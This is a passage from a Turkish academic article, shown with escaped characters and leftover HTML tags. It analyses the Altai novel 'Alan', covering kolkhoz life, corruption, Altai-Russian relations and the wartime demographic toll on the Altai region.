\u015fa\u015f\u0131rt\u0131r, hatta bir k\u0131sm\u0131 ba\u015flar\u0131n\u0131 yere e\u011fip g\u00fcl\u00fcmser. Aralar\u0131nda yapt\u0131klar\u0131 konu\u015fmada Altaylar\u0131n kar\u015f\u0131la(\u015f)malarda yaln\u0131zca tokala\u015ft\u0131klar\u0131, \u00f6p\u00fc\u015fmenin Rus \u00e2deti oldu\u011fu anla\u015f\u0131l\u0131r.<\/p>\n\n\n\n Altay-Rus ili\u015fkisi romanda bazen de evlilikler yoluyla ele al\u0131n\u0131r. Bu evliliklerde milliyet ayr\u0131m\u0131 yap\u0131lmaz, \u00e7iftlerden herhangi biri Altay ya da Rus olabilir. Altay T\u00fcrk\u00fc olan Bok\u00e7o\u2019nun e\u015fi Rus\u2019tur. Bu Rus kad\u0131n, o\u011fluna kaynatas\u0131n\u0131n ad\u0131 olan Cumur ad\u0131n\u0131 vermek istese de insanlar onu \u201cgelinin kaynatas\u0131n\u0131n ad\u0131n\u0131 s\u00f6ylemesi yasakt\u0131r\u201d diyerek engeller (38). Di\u011fer bir evlilik ise Akar ile \u0130ra\u2019n\u0131n evlili\u011fidir. Onlar\u0131n evliliklerini a\u00e7\u0131klad\u0131klar\u0131 zaman \u0130ra\u2019n\u0131n teyzesi Yelena Petrovna ilgin\u00e7 buldu\u011fu Altay rak\u0131s\u0131n\u0131 i\u00e7erek sarho\u015f olur. Yazar, burada kad\u0131n\u0131n sarho\u015flu\u011fundan ziyade bir Rus kad\u0131n\u0131n geleneksel Altay i\u00e7kisi i\u00e7ti\u011fini vurgulamak ister (230-235).<\/p>\n\n\n\n Roman\u0131n \u00e7ok y\u00f6nl\u00fc olarak ele ald\u0131\u011f\u0131 mek\u00e2nlardan biri kolhozlard\u0131r. Yazar, kolektif \u00e7iftlik olan kolhozlarda ya\u015fananlar\u0131 \u00f6zellikle aksayan y\u00f6nleriyle birlikte kaleme alm\u0131\u015ft\u0131r. Kolhozlar yeni hayat\u0131n yeni ya\u015fam tarz\u0131n\u0131n \u015fekillendi\u011fi yerle\u015fim birimleri olup romanda kom\u00fcnist sistemin en \u00f6nemli unsurlar\u0131 olarak sunulur. Kolhozlar farkl\u0131 din hatta milliyetlere mensup insanlar\u0131 ortak bir k\u00fclt\u00fcr ve ama\u00e7 etraf\u0131nda birle\u015ftirirler. Onlar\u0131 birle\u015ftiren, i\u00e7ine alan, ya\u015fama tarzlar\u0131na, d\u00fc\u015f\u00fcn\u00fc\u015flerine etki eden kolhozlar, ayn\u0131 zamanda bu insanlar\u0131 \u00e7ok \u00e7e\u015fitli y\u00f6nlerden de birbirlerine yakla\u015ft\u0131rm\u0131\u015ft\u0131r. Belki asla bir araya gelemeyecek insanlar kolhozlar sayesinde ortak bir hayat\u0131 ya\u015famak zorunda kalm\u0131\u015flard\u0131r. Kolhozlar, i\u00e7lerinde ya\u015fayan insanlar\u0131 \u00fcretim ve t\u00fcketim bak\u0131m\u0131ndan birbirine ba\u011f\u0131ml\u0131 k\u0131lm\u0131\u015f, daha \u00e7ok yaylak-k\u0131\u015flak bir hayat tarz\u0131 ya\u015fayan insanlar\u0131 hi\u00e7 al\u0131\u015f\u0131k olmad\u0131klar\u0131 tazda yerle\u015fik hayatta bir araya getirmi\u015ftir. Denilebilir ki kolhozlar bu insanlar\u0131n tek ya\u015fam kayna\u011f\u0131d\u0131r. Romanda K\u0131z\u0131l \u00c7olmon kolhozunda bir araya gelen Altay T\u00fcrkleri ve Ruslar\u0131n ortak ya\u015famlar\u0131 roman\u0131n ba\u015fkahraman\u0131 Alan merkezli olarak anlat\u0131lmaktad\u0131r.<\/p>\n\n\n\n Gorno Altay\u2019daki ilk kolektif \u00e7iftlikler 1920\u2019li y\u0131llarda kurulmaya ba\u015flam\u0131\u015ft\u0131r.1924 y\u0131l\u0131nda b\u00f6lgede 4 kolektif \u00e7iftlik vard\u0131r. Haziran 1937 itibar\u0131yla 186 kolektif \u00e7iftlik vard\u0131r.[6<\/a>] Sava\u015f ba\u015flad\u0131\u011f\u0131nda bu \u00e7iftliklerin say\u0131s\u0131 282\u2019ye ula\u015f\u0131r. II. D\u00fcnya Sava\u015f\u0131 s\u0131ras\u0131nda Altay b\u00f6lgesindeki kolektif \u00e7iftlikler 2 milyon 673.000 pud tah\u0131l, 1 milyon 560.000 pud et, 750.000 kental s\u00fct ve 82.000 pud tereya\u011f\u0131 \u2026 \u00fcretimiyle katk\u0131da bulunmu\u015flard\u0131r.[7<\/a>] Romandaki olaylar da K\u0131z\u0131l \u00c7omon kolhozunda ge\u00e7er. O, di\u011fer kolhozlar\u0131n tipik bir \u00f6rne\u011fidir. K\u0131z\u0131l \u00c7olmon\u2019da ne ya\u015fan\u0131yorsa SSCB\u2019nin di\u011fer kolhozlar\u0131nda da ayn\u0131 \u015feyler ya\u015fanmaktad\u0131r. Kolhozlar\u0131n ba\u015far\u0131s\u0131 ve \u00fcretimi o kolhozlarda ya\u015fayan insanlar\u0131n hayat\u0131n\u0131 do\u011frudan etkiler. Kolhoz binalar\u0131 bir sembold\u00fcr. O y\u0131l kolhoz i\u00e7in iyi gitmi\u015fse, iyi \u00fcr\u00fcn al\u0131nm\u0131\u015f ve hayvanlar \u00f6lmemi\u015fse, insanlar kolhoz binalar\u0131na bir \u015feyler istemeye gitmiyorsa orada ya\u015fayanlar i\u00e7in k\u0131\u015f huzurlu ge\u00e7er ama aksi durumda herkes i\u00e7in hayat zor olacakt\u0131r. Her \u015fey kolhozlar\u0131n y\u00f6netim binalar\u0131na ba\u011fl\u0131d\u0131r. Onun kap\u0131s\u0131na bakmayan g\u00f6z yoktur.<\/p>\n\n\n\n Kolhozlar\u0131n y\u0131ll\u0131k planlar\u0131, hedefleri vard\u0131r. Y\u00f6neticileri hatta \u00e7al\u0131\u015fanlar\u0131 i\u00e7in bu hedeflere ula\u015fmak \u00e7ok \u00f6nemlidir. Onlar di\u011fer kolhozlarla da \u00f6rt\u00fcl\u00fc bir yar\u0131\u015f h\u00e2lindedir, biri di\u011ferinden geri kalmak istemez:<\/p>\n\n\n\n Kolhozt\u0131\u00f1 plan\u0131n on\u00e7ogor bilerer \u2013 segis c\u00fcs bejen kubometr. Ce bis emdigen\u00e7e c\u00fck arayda\u00f1 la i\u015ftep cad\u0131s. \u00d6sk\u00f6 kolhoztor udabas la plandar\u0131n b\u00fcd\u00fcrele, cang\u0131lay berer. A bis deze, bir ad\u0131st\u0131 \u00f6lt\u00fcrip algan\u0131s, homut, \u015fley, armak\u00e7\u0131lar c\u0131l\u0131ytkan\u0131s. On\u0131 on\u00e7oz\u0131n kem kor\u0131ytan?\u2026 \u00d6sk\u00f6 kolhoztord\u0131\u00f1 to\u015ft\u0131\u00f1 \u00fcstine tartkan aga\u015ftar\u0131n k\u00f6r\u00f6rg\u00f6 d\u00f6 cara\u015f: t\u00f6rt ryadta\u00f1, t\u00fcp-t\u00fc-\u00fcs, cergeley-cergeley. A bistiyin?<\/em> (256)<\/p>\n\n\n\n Kolhozun plan\u0131n\u0131 hepiniz biliyorsunuz: sekiz y\u00fcz metrek\u00fcp. Fakat biz \u015fimdiye kadar \u00e7ok yava\u015f \u00e7al\u0131\u015ft\u0131k. Di\u011fer kolhozlar \u00e7ok ge\u00e7mez planlar\u0131n\u0131 tamamlay\u0131p g\u00f6nderirler. Biz ise, bir at\u0131m\u0131z\u0131 \u00f6ld\u00fcrd\u00fck, hamut, kablo, kementler kaybettik. Bunlar\u0131n hepsini kim savunacak?.. Ba\u015fka kolhozlar\u0131n buzlar\u0131n \u00fcst\u00fcne \u00e7ekti\u011fi a\u011fa\u00e7lara bakmak bile i\u00e7 a\u00e7\u0131yor: d\u00f6rt s\u0131radan, d\u00fcmd\u00fcz, s\u0131ra s\u0131ra. Peki ya bizimki?<\/p>\n\n\n\n Kolhozlarda en \u00e7ok dillendirilen: Ca\u00f1\u0131 c\u00fcr\u00fcm, can\u0131 \u00f6y u\u00e7un i\u015fteger<\/em> (159) (Yeni hayat, yeni ya\u015fam i\u00e7in \u00e7al\u0131\u015f\u0131n) c\u00fcmlesidir. Kolhozun i\u015fleri, yap\u0131lmas\u0131 gereken en \u00f6nemli i\u015flerdir. Bunlar\u0131 yapmayan b\u00fcy\u00fck cezalar al\u0131r. Romanda kolhozun ah\u0131r\u0131n\u0131 uyar\u0131lara ra\u011fmen bundan sorumlu olan Car\u0131\u015f tamir ettirmez\/etmez. Ah\u0131r\u0131n \u00e7\u00f6kmesiyle otuz yedi koyun \u00f6l\u00fcr. Hapis cezas\u0131yla su\u00e7lan\u0131p tehdit edilen Car\u0131\u015f, kendini asarak intihar eder (113). Car\u0131\u015f\u2019\u0131n sorumlulu\u011funu yerine getirmeyen ve bu nedenle kendisiyle hesapla\u015fan bir yurtta\u015f duygusuyla m\u0131 yoksa yap\u0131lacak su\u00e7lamalar ve alaca\u011f\u0131 cezadan \u00e7ekindi\u011fi i\u00e7in mi intihar etti\u011fi anla\u015f\u0131lmaz.<\/p>\n\n\n\n K\u00f6t\u00fc ve ahlaks\u0131z y\u00f6neticiler romanda kolhoz ba\u015fkan\u0131 Tant\u0131barov ile sembolize edilir. Tant\u0131barov, cepheden yaral\u0131 d\u00f6nm\u00fc\u015f bir askerdir. \u0130nsanlar yiyecek bulamazken o, hayvan (genellikle geyik) kestirerek yer. Kolhozun hayvanlar\u0131n\u0131 kestirip etlerini satarak kazan\u00e7 sa\u011flar. Kendisine yap\u0131lan ele\u015ftirilere kar\u015f\u0131 sava\u015fta yaralanmas\u0131n\u0131 bahane ederek savunmaya ge\u00e7er:<\/p>\n\n\n\n Men \u00f6kp\u00f6mn\u00f6\u00f1 \u015f\u0131rkalu. Vra\u00e7tar a\u00f1n\u0131\u00f1 kan\u0131n i\u00e7, edin ci dep cak\u0131gan. T\u00f6r\u00f6li u\u00e7un t\u0131n\u0131n k\u0131skanbay cuulajar, ono\u00f1 kelele, kiji emdenpes pe? \u2013 dep aydatan<\/em> (31).<\/p>\n\n\n\n Ben ci\u011ferimden yaraland\u0131m. Doktorlar geyi\u011fin kan\u0131n\u0131 i\u00e7ip, etini yememi tavsiye ettiler. Vatan\u0131 i\u00e7in \u00e7ekinmeden sava\u015farak yaralanm\u0131\u015f ki\u015fi, tedavi olmas\u0131n m\u0131?, der.<\/p>\n\n\n\n Romanda ele al\u0131nan konulardan biri de kolhozlardan yap\u0131lan h\u0131rs\u0131zl\u0131klarla ilgili olan\u0131d\u0131r (136-140). Kolhozlardan h\u0131rs\u0131zl\u0131k yapman\u0131n SSCB hukukundaki kar\u015f\u0131l\u0131\u011f\u0131 \u201cSosyalist M\u00fclkiyet H\u0131rs\u0131zl\u0131\u011f\u0131\u201dd\u0131r. Kavram ilk olarak 7 A\u011fustos 1932\u2019de kolektif \u00e7iftliklerden h\u0131rs\u0131zl\u0131\u011f\u0131 durdurmak amac\u0131yla y\u00fcr\u00fcrl\u00fc\u011fe girmi\u015ftir. 1932-1933 y\u0131llar\u0131 aras\u0131nda baz\u0131 b\u00f6lgelerde k\u0131tl\u0131klar\u0131n ya\u015fanmas\u0131 nedeniyle bu h\u0131rs\u0131zl\u0131klar\u0131n cezalar\u0131 art\u0131r\u0131lm\u0131\u015ft\u0131r. \u00d6zellikle II. D\u00fcnya Sava\u015f\u0131 y\u0131llar\u0131nda kolektif \u00e7iftliklerden h\u0131rs\u0131zl\u0131k, b\u00fct\u00fcn SSCB\u2019nin oldu\u011fu gibi Altay \u00d6zerk B\u00f6lgesi\u2019nin de \u00f6nemli toplumsal sorunlar\u0131ndan biri olmu\u015ftur. H\u00e2liyle bu durum Alan<\/em> roman\u0131na da yans\u0131m\u0131\u015ft\u0131r. Ya\u015fad\u0131\u011f\u0131 tecr\u00fcbelerle birlikte olgunla\u015fman\u0131n getirdi\u011fi fark\u0131ndal\u0131k zaman zaman Alan\u2019la kolhozdaki di\u011fer insanlar\u0131 kar\u015f\u0131 kar\u015f\u0131ya getirir. Alan, Cemze\u2019nin evine gitti\u011finde kolhozun \u00e7al\u0131nm\u0131\u015f mallar\u0131n\u0131 g\u00f6r\u00fcr ve kocas\u0131yla kendisini \u015fik\u00e2yet ederek hapishaneye att\u0131raca\u011f\u0131n\u0131 s\u00f6yleyince Alan\u2019la Cemze ve onun kolhoz ba\u015fkan\u0131 olan kocas\u0131 Tant\u0131barov aras\u0131nda kavga ba\u015flar. Alan, bu h\u0131rs\u0131zl\u0131\u011f\u0131 di\u011fer kolhoz y\u00f6neticilerine \u015fik\u00e2yet etse de, onlar \u00f6rtbas ederler. Bunun \u00fczerine Alan i\u00e7 d\u00fcnyas\u0131nda kolhozun geli\u015fmesi i\u00e7in yap\u0131lan i\u015flerin ve verilen emeklerin sorgulamas\u0131n\u0131 yapar. H\u0131rs\u0131zl\u0131\u011f\u0131 k\u00f6y halk\u0131na duyurur. \u015eehirden gelen polisler Tant\u0131barov ve Cemze\u2019yi tutuklar. Tant\u0131barov ve kar\u0131s\u0131 Cemze alt\u0131 y\u0131l hapis cezas\u0131na \u00e7arpt\u0131r\u0131l\u0131r. Alan\u2019\u0131n ortaya \u00e7\u0131kard\u0131\u011f\u0131 kamu h\u0131rs\u0131zl\u0131\u011f\u0131 kar\u015f\u0131s\u0131nda kolhozun baz\u0131 y\u00f6neticileriyle yine kolhozda ya\u015fayan baz\u0131 insanlar\u0131n suskunlu\u011fu hatta Alan\u2019\u0131 su\u00e7lamalar\u0131 toplumsal bir aksakl\u0131k olarak kendini g\u00f6sterir. Yazar, bu durumun nedenleri \u00fczerinde tart\u0131\u015fmaz. Tart\u0131\u015fmay\u0131 okuyucuya b\u0131rak\u0131r. Bunun nedeni, Sovyet d\u00f6nemi edebiyat\u0131n\u0131n yazara y\u00fckledi\u011fi sorumluluklarda (ya da su\u00e7lanma korkusunda) aranmal\u0131d\u0131r.<\/p>\n\n\n\n Alan sava\u015ftan d\u00f6n\u00fcp geldi\u011finde K\u0131z\u0131l \u00c7olmon kolhozunun durumu hi\u00e7 iyi de\u011fildir. O, bu kez de sava\u015f\u0131n neden oldu\u011fu durumlarla y\u00fczle\u015fir. Kendisini sava\u015f\u0131n a\u00e7, yoksul b\u0131rakt\u0131\u011f\u0131 insanlar kar\u015f\u0131lar. Sava\u015f\u0131n ac\u0131 ger\u00e7ekleriyle y\u00fczle\u015fmek zorunda kalm\u0131\u015f bir delikanl\u0131dan, kendisi olma m\u00fccadelesinden ba\u015far\u0131yla \u00e7\u0131km\u0131\u015f bir yeti\u015fkine ve bir y\u00f6neticiye d\u00f6n\u00fc\u015ft\u00fcrecek uzun ve zor bir s\u00fcrece girecektir. M\u00fccadelesinin b\u00fcy\u00fck k\u0131sm\u0131 kolhozla ilgili olacakt\u0131r. Kolhoz ba\u015fkan\u0131 Tant\u0131barov ve ailesi ise kolhozun imk\u00e2nlar\u0131n\u0131 kendi \u00e7\u0131karlar\u0131 i\u00e7in kullanm\u0131\u015flard\u0131r. Tant\u0131barov h\u0131rs\u0131zl\u0131ktan hapse at\u0131ld\u0131ktan sonra U\u00e7ural Ad\u0131cokov, kolhoz ba\u015fkan\u0131 olur. Onun ve Alan\u2019\u0131n gayretleriyle kolhoz geli\u015fir, b\u00fcy\u00fcr. Kolhozun ba\u015far\u0131s\u0131 Altay\u2019\u0131n yerel gazetelerinde haber olmaya ba\u015flar. 1952 y\u0131l\u0131nda \u015ei\u00f1e ile evlenen Alan, 1953 y\u0131l\u0131nda kolhozun ba\u015fkan\u0131 olur. Merkez y\u00f6neticileri K\u0131z\u0131l \u00c7olmon kolhozunu sovhozlu\u011fa y\u00fckseltmek isteseler de Alan, bunun i\u00e7in erken oldu\u011funu, kolhozun iyice g\u00fc\u00e7lenmesi gerekti\u011fini s\u00f6yler. Yine de yap\u0131lan oylamayla kolhoz sovhozlu\u011fa y\u00fckseltilir. Asl\u0131nda bu y\u00fckseltilme romanda Alan\u2019\u0131n psikolojik ve ideolojik geli\u015fimini takip etmemizi ya da onun ki\u015fisel geli\u015fiminin ula\u015ft\u0131\u011f\u0131 yeri g\u00f6rmemizi sa\u011flar. \u015ei\u00f1e ile aras\u0131ndaki gelgitli ve karma\u015f\u0131k a\u015fk il\u015fkisinin evlilikle sonu\u00e7lanmas\u0131, Alan\u2019\u0131n kolhozda \u00f6nce ba\u015fkan yard\u0131mc\u0131s\u0131 sonra da ba\u015fkan olmas\u0131 ve nihayet K\u0131z\u0131l \u00c7olmon kolhozunun b\u00f6lge idarecileri taraf\u0131ndan sovhozlu\u011fa y\u00fckseltilmesi; Alan\u2019\u0131n psikolojik ve ideolojik geli\u015fimini g\u00f6sterir. Ondaki bu geli\u015fme ayn\u0131 zamanda olumlu olarak topluma ve toplumun kurumlar\u0131na da yans\u0131r. Alan\u2019\u0131n ya\u015fad\u0131\u011f\u0131 (daha do\u011frusu ba\u015fard\u0131\u011f\u0131) ki\u015fisel geli\u015fim ve bu ki\u015fisel geli\u015fimin topluma faydalar\u0131, bize Altay destan kahramanlar\u0131n\u0131 ve onlar\u0131n maceralar\u0131n\u0131 hat\u0131rlat\u0131r. Altay kahramanl\u0131k destanlar\u0131nda da kahraman ba\u015flang\u0131\u00e7ta u\u00e7ar\u0131, pervas\u0131z ve tecr\u00fcbesiz olmas\u0131na ra\u011fmen girdi\u011fi her macerada, at\u0131ld\u0131\u011f\u0131 her sava\u015fta biraz daha olgunla\u015f\u0131r ve sonu\u00e7ta sevdi\u011fi gen\u00e7 k\u0131zla evlenerek Alan gibi m\u00fckemmel bir toplumsal lidere d\u00f6n\u00fc\u015f\u00fcr. T\u0131pk\u0131 bu destan kahramanlar\u0131 gibi Alan da kolhozun i\u015fleyi\u015fi ve \u00fcretim teknikleri hakk\u0131nda bilgilendik\u00e7e, kolhoz y\u00f6netimi ve hayat hakk\u0131nda tecr\u00fcbe kazanarak topluma faydal\u0131 bir birey h\u00e2line d\u00f6n\u00fc\u015f\u00fcr. B\u00f6ylelikle okur, roman boyunca tekilden \u00e7o\u011fula (Alan\u2019dan kolhoza) geni\u015fleyen bir anlat\u0131m\u0131n i\u00e7inde bulur kendini. Sovyet edebiyat\u0131n\u0131n mevcut kal\u0131plar\u0131na uygun olarak yaz\u0131lan eserde birey ve toplum birlikte ele al\u0131n\u0131r, bireyin geli\u015fimi toplumun geli\u015fimine de yarar. Kendini kan\u0131tlama m\u00fccadelesinden ba\u015far\u0131yla \u00e7\u0131kan Alan, elbette bir destan kahraman\u0131 de\u011fildir ama kurumlar\u0131 \u0131slaha muhta\u00e7 her toplumun ihtiya\u00e7 duyaca\u011f\u0131 vatanda\u015flardan biridir.<\/p>\n\n\n\n Kolhozun geli\u015fip b\u00fcy\u00fcmesiyle birlikte merkez\u00ee y\u00f6netim eski hayat\u0131 ve eski ya\u015fam tarz\u0131na ait her \u015feyi sembolize eden geleneksel Altay evlerinin y\u0131k\u0131lmas\u0131n\u0131 ister. Onlar bu ama\u00e7la g\u00f6nderdikleri resm\u00ee evraklarda bu evlerden hastal\u0131klar\u0131n yuvas\u0131, pis ve kirli yerler olarak bahsederler. Bu ifadeler ne yaz\u0131k ki, yaln\u0131zca geleneksel evlere de\u011fil bir anlamda Altay T\u00fcrklerine ve onlar\u0131n ya\u015fam tarzlar\u0131na d\u00f6n\u00fck Rus bak\u0131\u015f a\u00e7\u0131s\u0131n\u0131 yans\u0131tmaktad\u0131r. Fakat insanlar evlerini g\u00f6n\u00fcll\u00fc olarak y\u0131kmak istemezler. En sonunda Alan y\u00f6netici oldu\u011fundan \u00f6rnek olmak amac\u0131yla ilk olarak ablas\u0131n\u0131n \u00e7ad\u0131r evini y\u0131kar. Sonra da b\u00fct\u00fcn k\u00f6yl\u00fcler geleneksel evlerini y\u0131k\u0131p yenisini yaparlar (Palkin, 1997: 34). B\u00f6ylece Alan\u2019\u0131n k\u00f6y\u00fcnde eskiye dair somut en \u00f6nemli unsurlar yok edilir. Di\u011fer taraftan yazar, roman\u0131n son b\u00f6l\u00fcm\u00fcnde \u015ei\u00f1e ile evlenen Alan\u2019a \u00f6rnek bir ev yapt\u0131r\u0131r. Bu evi de \u201cyurtlara yurt eklendi\u201d diyerek geli\u015fmenin ve de\u011fi\u015fimin sembol\u00fc olarak takdim eder. Bununla birlikte Palkin, b\u00fct\u00fcn roman boyunca yapt\u0131\u011f\u0131 gibi Altay k\u00fclt\u00fcr\u00fcn\u00fc ihmal etmemeyi burada da ustal\u0131kla yerine getirir. Alan\u2019\u0131n yeni yap\u0131lan evinin \u00f6n\u00fcne arkada\u015flar\u0131 Tar\u0131n ve Akar geleneksel Altay hayat\u0131n\u0131n \u00f6nemli bir sembol\u00fc olan \u201c\u00e7ak\u0131<\/em> (at dire\u011fi)\u201d dikerler. Elbette \u015fu atas\u00f6z\u00fcn\u00fc s\u00f6ylemeyi de ihmal etmeyerek: At \u00e7ak\u0131z\u0131 bek turz\u0131n, ay\u0131l\u00e7\u0131lar\u0131 k\u00f6p bolz\u0131n<\/em> (At dire\u011fi sa\u011flam olsun, misafirleri \u00e7ok olsun) (324).<\/p>\n\n\n\n Palkin, roman\u0131n baz\u0131 b\u00f6l\u00fcmlerinde okuyucuyu kat\u0131 bir ger\u00e7eklikle kar\u015f\u0131 kar\u015f\u0131ya b\u0131rak\u0131r. Kolhozlarda ya\u015fanan y\u00f6netim ve \u00fcretim sorunlar\u0131n\u0131n yan\u0131nda roman\u0131n vaka zaman\u0131 i\u00e7indeki en \u00f6nemli toplumsal sorunlardan biri gayr\u0131 me\u015fru ili\u015fkiler ve bu ili\u015fkiler neticesinde do\u011fan \u00e7ocuklar\u0131n durumudur. Sava\u015f\u0131n neden oldu\u011fu durumlardan biri, babas\u0131 belli olmayan \u00e7ocuklar\u0131n do\u011fmas\u0131d\u0131r. O zamanki ad\u0131yla Oyrotya olan Da\u011fl\u0131k Altay, cepheden \u00e7ok uzak olmas\u0131na ra\u011fmen sava\u015f her eve girmi\u015ftir ve her ev sava\u015f\u0131n ortaya \u00e7\u0131kard\u0131\u011f\u0131 \u015fartlardan etkilenmi\u015ftir. 1940 y\u0131l\u0131na kadar Oyrot \u00d6zerk B\u00f6lgesi\u2019nin n\u00fcfusu yakla\u015f\u0131k 161.000 ki\u015fidir. D\u00f6rt sava\u015f y\u0131l\u0131 boyunca bu n\u00fcfusun d\u00f6rtte biri cepheye \u00e7a\u011fr\u0131lm\u0131\u015ft\u0131r. Geriye kalanlar kad\u0131nlar, \u00e7ocuklar ve ya\u015fl\u0131lard\u0131r ki bunlar da kolektif \u00e7iftliklerde bir yandan kendi ge\u00e7imlerini sa\u011flamaya \u00e7al\u0131\u015f\u0131rken di\u011fer yandan da cephe ihtiya\u00e7lar\u0131na ve \u00fclke ekonomisine katk\u0131da bulunmaya gayret etmi\u015flerdir.<\/p>\n\n\n\n Sava\u015f\u0131n zor \u015fartlar\u0131 ve erkeklerin neredeyse tamam\u0131n\u0131n askere al\u0131nmas\u0131 \u00fczerine erkeklerin yapmas\u0131 gereken i\u015flerin hemen tamam\u0131n\u0131 kad\u0131nlar yapmak zorunda kal\u0131r. 1941 tarihli Krasnaya Oyrotya gazetesinde \u015funlar yazar: Hain d\u00fc\u015fman ana vatan\u0131m\u0131za sald\u0131rd\u0131. Ancak baz\u0131 \u015feyleri yanl\u0131\u015f hesaplad\u0131. Bir kad\u0131n\u0131n ustala\u015famayaca\u011f\u0131 hi\u00e7bir meslek yoktur: S\u00fcr\u00fcc\u00fcler, tamirciler ve trakt\u00f6r s\u00fcr\u00fcc\u00fcleri\u2026 Cepheye gidenlerin e\u015fleri onlar\u0131n yerine arabalarda, trakt\u00f6rlerde ve bi\u00e7erd\u00f6verlerde \u00e7al\u0131\u015f\u0131yor. 18 kad\u0131n be\u015f g\u00fcnl\u00fck bir kurstan sonra trakt\u00f6rlere oturacak. Temmuz 1941\u2019de yakla\u015f\u0131k 400 kad\u0131n bu makineleri kullanmak i\u00e7in kurslara kat\u0131ld\u0131. Trakt\u00f6r s\u00fcr\u00fcc\u00fcleri aras\u0131nda hen\u00fcz 13 ya\u015f\u0131nda olan \u015eura Badina da vard\u0131r (Surtayeva, 2010: 86). Onlar, B\u00fcy\u00fck Vatanseverlik Sava\u015f\u0131\u2019n\u0131n dul kad\u0131nlar\u0131d\u0131r. Aralar\u0131nda Kala\u015fnikof Ekaterina Polikarpovna gibi e\u015fini ve \u00e7ocu\u011funu ayn\u0131 anda cepheye g\u00f6nderenler vard\u0131r. Polikarpovna gibi kad\u0131nlar\u0131n bir k\u0131sm\u0131 e\u015f ya da o\u011fullar\u0131ndan birinin ya da her ikisinin \u00f6l\u00fcm haberini almak zorunda kalm\u0131\u015flard\u0131r (Polteva, 2010: 115). B\u00f6lgedeki 282 kolektif \u00e7iftlikte 1940\u2019ta 12.500 erkek \u00e7al\u0131\u015f\u0131rken, 1944\u2019te bu say\u0131 2.600\u2019e d\u00fc\u015fm\u00fc\u015ft\u00fcr ve ayn\u0131 kolektif \u00e7iftliklerde \u00e7al\u0131\u015fan kad\u0131n oran\u0131 %84\u2019t\u00fcr. Demografik yap\u0131da g\u00f6r\u00fclen bu dengesizlik ve sava\u015f \u015fartlar\u0131 bir tak\u0131m ahlaki sorunlar\u0131 da beraberinde getirmi\u015ftir.<\/p>\n\n\n\n SSCB\u2019nin II. D\u00fcnya Sava\u015f\u0131\u2019na kat\u0131lmas\u0131yla birlikte 22 Haziran 1941 tarihinde Bol\u015feviklerin T\u00fcm Birlik Kom\u00fcnist Partisi\u2019nin Oyrot B\u00f6lge Komitesi ve B\u00f6lge \u0130\u015f\u00e7i Temsilcileri Konseyi Y\u00fcr\u00fctme Komitesi\u2019nin 85 say\u0131l\u0131 karar\u0131yla asker\u00ee seferberlik hareketi ba\u015flat\u0131l\u0131r, Oyrot Tura (\u015fimdiki Gorno-Altaysk \u015fehri) ba\u015fta olmak \u00fczere bir\u00e7ok yerle\u015fim yerinde mitingler d\u00fczenlenir. Mitinglere kat\u0131lanlar\u0131n say\u0131s\u0131 Altay b\u00f6lgesinin n\u00fcfusuna oranla dikkat \u00e7ekici \u015fekilde fazlad\u0131r: Oyrot Tura\u2019da 6.000\u2019den fazla ki\u015fi, \u015eebalin\u2019de 2.800, Elikmanar\u2019da 1.500, \u00dcst-K\u00f6ksi\u2019de 1.800 ve Ko\u015f-Aga\u00e7\u2019ta 1.100 ki\u015fi mitinglere kat\u0131lm\u0131\u015ft\u0131r. Sava\u015f\u0131n ilk g\u00fcn\u00fcnde Oyrot-Tura\u2019dan 65\u2019i kad\u0131n olmak \u00fczere 119 g\u00f6n\u00fcll\u00fc, sava\u015fa kat\u0131lmak i\u00e7in ba\u015fvuru yapm\u0131\u015f, sadece birka\u00e7 g\u00fcn sonra ise 200\u2019den fazlas\u0131 kad\u0131n olmak \u00fczere 800\u2019den fazla g\u00f6n\u00fcll\u00fc ba\u015fvuru yapm\u0131\u015ft\u0131r (Yakovlev, 2020: 11-13). Sonraki y\u0131llarda g\u00f6n\u00fcll\u00fc say\u0131s\u0131 11.000\u2019e kadar \u00e7\u0131km\u0131\u015ft\u0131r. II. D\u00fcnya Sava\u015f\u0131\u2019na o zamanki ad\u0131yla Oyrot \u00d6zerk B\u00f6lgesi\u2019nden 707\u2019si kad\u0131n olmak \u00fczere toplamda 42.268 ki\u015fi cepheye \u00e7a\u011fr\u0131lm\u0131\u015ft\u0131r. Bunlar\u0131n neredeyse her iki ki\u015fiden biri, yani 21.299\u2019u sava\u015fta \u00f6lm\u00fc\u015ft\u00fcr. 10.524 ki\u015finin ak\u0131beti belli olmam\u0131\u015ft\u0131r. Eve d\u00f6nenlerin say\u0131s\u0131 ise ancak 10.445 ki\u015fidir. Sava\u015fa kat\u0131lanlar\u0131n 17.753\u2019\u00fc arkalar\u0131nda e\u015f ve \u00e7ocuklar\u0131n\u0131 b\u0131rakan evli ki\u015filerdir. Sava\u015f alanlar\u0131nda g\u00f6sterdikleri kahramanl\u0131klar\u0131 nedeniyle 25 ki\u015fiye \u201cSovyetler Birli\u011fi Kahraman\u0131\u201d unvan\u0131, 7.500 ki\u015fiye ise madalya verilmi\u015ftir.[8<\/a>] Ayr\u0131ca 1945 sonunda, 1940\u2019a k\u0131yasla kolektif \u00e7iftliklerin t\u00fcm n\u00fcfusu (terhisten sonra geri d\u00f6nenler de dikkate al\u0131nd\u0131\u011f\u0131nda) \u00fc\u00e7te bir oran\u0131nda azalm\u0131\u015f, i\u015f g\u00fcc\u00fc sa\u011flayacak sa\u011fl\u0131kl\u0131 erkeklerin say\u0131s\u0131 ise yar\u0131 yar\u0131ya azalm\u0131\u015ft\u0131r. Zaman i\u00e7inde asker ihtiyac\u0131 artt\u0131\u011f\u0131ndan b\u00fct\u00fcn SSCB\u2019de oldu\u011fu gibi Altay\u2019da da eli silah tutabilen erkekler askere al\u0131n\u0131p cepheye g\u00f6nderilir. \u00d6nce 1905-1918 tarihleri aras\u0131nda, 1941\u2019den itibaren ise 1890-1904 y\u0131llar\u0131 aras\u0131nda do\u011fanlar da askere al\u0131nd\u0131\u011f\u0131ndan baz\u0131 ailelerde hem baba hem de o\u011fulun askerde \u00f6ld\u00fc\u011f\u00fc, evine k\u00f6y\u00fcne d\u00f6nemedi\u011fi ya\u015fanan ger\u00e7eklerden biridir. Durum b\u00f6yle olunca k\u00f6ylerde\/kolhozlarda b\u00fcy\u00fck bir keder ve sefalet i\u00e7inde bir ba\u015flar\u0131na kalm\u0131\u015f kad\u0131nlar g\u00f6n\u00fcll\u00fc ya da g\u00f6n\u00fcls\u00fcz bir \u015fekilde kolhoz y\u00f6neticileriyle, \u00f6\u011fretmenlerle ya da yaralan\u0131p sava\u015ftan d\u00f6nm\u00fc\u015f erkeklerle birlikte olurlar. H\u00e2lbuki bu kad\u0131nlar\u0131n 